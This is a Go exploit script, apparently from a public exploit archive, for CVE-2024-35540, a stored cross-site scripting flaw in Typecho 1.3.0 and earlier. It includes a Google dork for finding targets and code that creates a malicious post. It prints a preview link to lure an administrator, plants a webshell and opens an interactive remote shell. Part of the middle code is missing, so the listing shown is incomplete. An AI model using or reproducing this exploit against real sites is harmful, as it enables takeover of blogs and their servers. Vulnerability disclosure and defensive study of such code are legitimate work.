// Exploit Title: Typecho <= 1.3.0 Stored Cross-Site Scripting (XSS) // Google Dork: intext:"Powered by Typecho" inurl:/index.php // Date: 18/08/2024 // Exploit Author: Michele 'cyberaz0r' Di Bonaventura // Vendor Homepage: https://typecho.org // Software Link: https://github.com/typecho/typecho // Version: 1.3.0 // Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho) // CVE: CVE-2024-35540 // For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/ package main import ( "bufio" "bytes" "crypto/rand" "crypto/sha256" "encoding/base64" "fmt" "net/http" "net/url" "os" "strings" "time" ) var ( postTitle string = "Reflected XSS PoC" postText string = "Hey admin! Look at the draft of this blog post, can I publish it?" userAgent string = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" client *http.Client = &http.Client{ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } ) func getEditUrl(u string, cookies string) string { req, err := http.NewRequest("GET", u+"/admin/write-post.php", nil) if err != nil { fmt.Println("[X] Error creating initial request:", err) return "" } req.Header.Set("Cookie", cookies) req.Header.Set("User-Agent", userAgent) resp, err := client.Do(req) if err != nil { fmt.Println("[X] Error sending initial request:", err) return "" } buf := new(bytes.Buffer) buf.ReadFrom(resp.Body) body := buf.String() if !strings.Contains(body, "
{ var textarea = i.contentWindow.document.getElementById('content'); if (textarea.value.includes(payload)) return; textarea.value = textarea.value.replace(/<\?php/, '][1]\n[1]: https://google.com", jsCodeEncoded) } func createPost(u string, cookies string, payload string) string { formData := url.Values{} formData.Set("title", postTitle) formData.Set("text", payload+"\n"+postText) formData.Set("do", "save") formData.Set("markdown", "1") formData.Set("category%5B%5D", "1") formData.Set("allowComment", "1") formData.Set("allowPing", "1") formData.Set("allowFeed", "1") formData.Set("dst", "60") formData.Set("timezone", "7200") req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode())) if err != nil { fmt.Println("[X] Error creating malicious post creation request:", err) return "" } req.Header.Set("Cookie", cookies) req.Header.Set("User-Agent", userAgent) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode()))) req.Header.Set("Referer", strings.Replace(strings.Split(u, ".php")[0], "index", "admin/write-post.php", 1)) resp, err := client.Do(req) if err != nil { fmt.Println("[X] Error sending malicious post creation request:", err) return "" } defer resp.Body.Close() return resp.Header.Get("Location") } func checkInjected(u string) bool { req, err := http.NewRequest("HEAD", u, nil) if err != nil { return false } req.Header.Set("User-Agent", userAgent) resp, err := client.Do(req) if err != nil { return false } return resp.Header.Get("X-Random-Token") != "" } func readInput() string { scanner := bufio.NewScanner(os.Stdin) if scanner.Scan() { return scanner.Text() } return "" } func interactiveShell(u string, password string) { for { fmt.Print("$ ") cmd := readInput() formData := url.Values{} formData.Set("CSRFToken", password) formData.Set("action", cmd) req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode())) if err != nil { fmt.Println("[X] Error creating shell request:", err) continue } req.Header.Set("User-Agent", userAgent) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode()))) resp, err := client.Do(req) if err != nil { fmt.Println("[X] Error sending shell request:", err) continue } buf := new(bytes.Buffer) buf.ReadFrom(resp.Body) body := buf.String() fmt.Println(body) } } func main() { if len(os.Args) != 3 { fmt.Println("Usage: go run CVE-2024-35540.go ") os.Exit(1) } fmt.Println("[+] Starting Typecho <= 1.3.0 Stored XSS exploit (CVE-2024-35540) by cyberaz0r") targetUrl := os.Args[1] cookies := os.Args[2] fmt.Println("[*] Getting post edit URL with CSRF token...") editUrl := getEditUrl(targetUrl, cookies) if editUrl == "" { fmt.Println("[-] Could not get post edit URL, exiting...") return } fmt.Println("[+] Edit URL:", editUrl) password := generateRandomBytes() fmt.Println("[+] Generated password to access the webshell: ", password) fmt.Println("[*] Generating JavaScript code to inject webshell...") jsCode := getJsCode(password) payload := generatePayload(jsCode) fmt.Println("[*] Creating malicious post...") postUrl := createPost(editUrl, cookies, payload) if postUrl == "" || postUrl == "/" { fmt.Println("[-] Could not create malicious post, exiting...") return } previewUrl := strings.Replace(postUrl, "write-post.php", "preview.php", 1) fmt.Println("[+] Malicious post created successfully!") fmt.Println("[i] Send this preview URL to the admin to trigger the XSS:\n" + previewUrl) fmt.Println("[*] Waiting for the admin to visit the preview URL...") for !checkInjected(targetUrl) { time.Sleep(1 * time.Second) } fmt.Println("[+] Webshell injected successfully!") fmt.Println("[+] Enjoy your shell ;)\n") interactiveShell(targetUrl, password) }